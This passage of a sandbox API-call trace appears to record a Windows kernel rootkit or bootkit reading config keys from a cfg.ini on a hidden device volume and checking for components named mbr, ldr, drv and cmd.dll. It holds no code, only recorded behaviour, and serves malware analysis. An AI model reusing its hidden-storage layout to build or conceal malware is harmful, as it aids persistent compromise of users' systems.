-108 [0129.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.120] KeLeaveCriticalRegion () [0129.120] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.120] ReleaseMutex (hMutex=0x100) returned 1 [0129.120] Sleep (dwMilliseconds=0x2bf20) [0129.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70286cb0, dwHighDateTime=0x1d24fa4)) [0129.127] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.127] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.127] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.127] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.127] KeEnterCriticalRegion () [0129.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.127] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.127] IdePortDispatch () returned 0x103 [0129.127] KeWaitForMutexObject () returned 0x0 [0129.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.127] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.127] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.127] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.127] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.127] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.127] KeLeaveCriticalRegion () [0129.128] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.128] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.128] KeEnterCriticalRegion () [0129.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.128] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.128] KeLeaveCriticalRegion () [0129.128] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.128] KeEnterCriticalRegion () [0129.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.128] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.128] IdePortDispatch () returned 0x103 [0129.128] KeWaitForMutexObject () returned 0x0 [0129.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.128] KeLeaveCriticalRegion () [0129.128] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.128] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.128] KeEnterCriticalRegion () [0129.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.128] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba0000 [0129.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.128] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.128] IdePortDispatch () returned 0x103 [0129.129] KeWaitForMutexObject () returned 0x0 [0129.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.129] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.129] IdePortDispatch () returned 0x103 [0129.129] KeWaitForMutexObject () returned 0x0 [0129.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.129] KeLeaveCriticalRegion () [0129.129] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.130] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.130] KeEnterCriticalRegion () [0129.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] KeLeaveCriticalRegion () [0129.130] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.130] KeEnterCriticalRegion () [0129.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.130] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] KeLeaveCriticalRegion () [0129.130] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.130] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.130] KeEnterCriticalRegion () [0129.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] KeLeaveCriticalRegion () [0129.130] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.130] ReleaseMutex (hMutex=0xf0) returned 1 [0129.130] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.130] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.130] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.130] KeEnterCriticalRegion () [0129.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.130] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.130] IdePortDispatch () returned 0x103 [0129.130] KeWaitForMutexObject () returned 0x0 [0129.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.131] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.131] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.131] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.131] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.131] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c036f0 [0129.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.131] KeLeaveCriticalRegion () [0129.131] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.131] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.131] KeEnterCriticalRegion () [0129.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.131] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.131] KeLeaveCriticalRegion () [0129.131] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.131] KeEnterCriticalRegion () [0129.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.131] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.131] IdePortDispatch () returned 0x103 [0129.131] KeWaitForMutexObject () returned 0x0 [0129.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.131] KeLeaveCriticalRegion () [0129.131] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.131] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.132] KeEnterCriticalRegion () [0129.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba1000 [0129.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.132] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.132] IdePortDispatch () returned 0x103 [0129.132] KeWaitForMutexObject () returned 0x0 [0129.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.132] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.132] IdePortDispatch () returned 0x103 [0129.132] KeWaitForMutexObject () returned 0x0 [0129.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.132] KeLeaveCriticalRegion () [0129.132] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.133] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.133] KeEnterCriticalRegion () [0129.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] KeLeaveCriticalRegion () [0129.133] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.133] KeEnterCriticalRegion () [0129.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.133] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c037b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] KeLeaveCriticalRegion () [0129.133] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.133] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.133] KeEnterCriticalRegion () [0129.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] ExFreePoolWithTag (P=0xfffffa8003c036f0, Tag=0x0) [0129.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] KeLeaveCriticalRegion () [0129.133] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.133] ReleaseMutex (hMutex=0xf0) returned 1 [0129.133] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.133] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.133] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.133] KeEnterCriticalRegion () [0129.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.134] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.134] IdePortDispatch () returned 0x103 [0129.134] KeWaitForMutexObject () returned 0x0 [0129.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.134] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.134] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.134] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.134] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.134] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02310 [0129.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.134] KeLeaveCriticalRegion () [0129.134] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.134] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.134] KeEnterCriticalRegion () [0129.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.134] KeLeaveCriticalRegion () [0129.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.134] KeEnterCriticalRegion () [0129.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.134] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.134] IdePortDispatch () returned 0x103 [0129.134] KeWaitForMutexObject () returned 0x0 [0129.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.135] KeLeaveCriticalRegion () [0129.135] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.135] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.135] KeEnterCriticalRegion () [0129.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba2000 [0129.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.135] IdePortDispatch () returned 0x103 [0129.135] KeWaitForMutexObject () returned 0x0 [0129.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.135] IdePortDispatch () returned 0x103 [0129.135] KeWaitForMutexObject () returned 0x0 [0129.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.135] KeLeaveCriticalRegion () [0129.135] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.136] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.136] KeEnterCriticalRegion () [0129.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.136] KeLeaveCriticalRegion () [0129.136] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.136] KeEnterCriticalRegion () [0129.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.136] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.136] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.136] KeLeaveCriticalRegion () [0129.136] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.136] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.136] KeEnterCriticalRegion () [0129.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.136] ExFreePoolWithTag (P=0xfffffa8003c02310, Tag=0x0) [0129.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.137] KeLeaveCriticalRegion () [0129.137] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.137] ReleaseMutex (hMutex=0xf0) returned 1 [0129.137] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.137] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.137] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.137] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.137] KeEnterCriticalRegion () [0129.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.137] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.137] IdePortDispatch () returned 0x103 [0129.137] KeWaitForMutexObject () returned 0x0 [0129.137] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.137] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.137] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.137] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.137] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.137] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.137] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.137] _strnicmp (_Str1="cmd.dll", 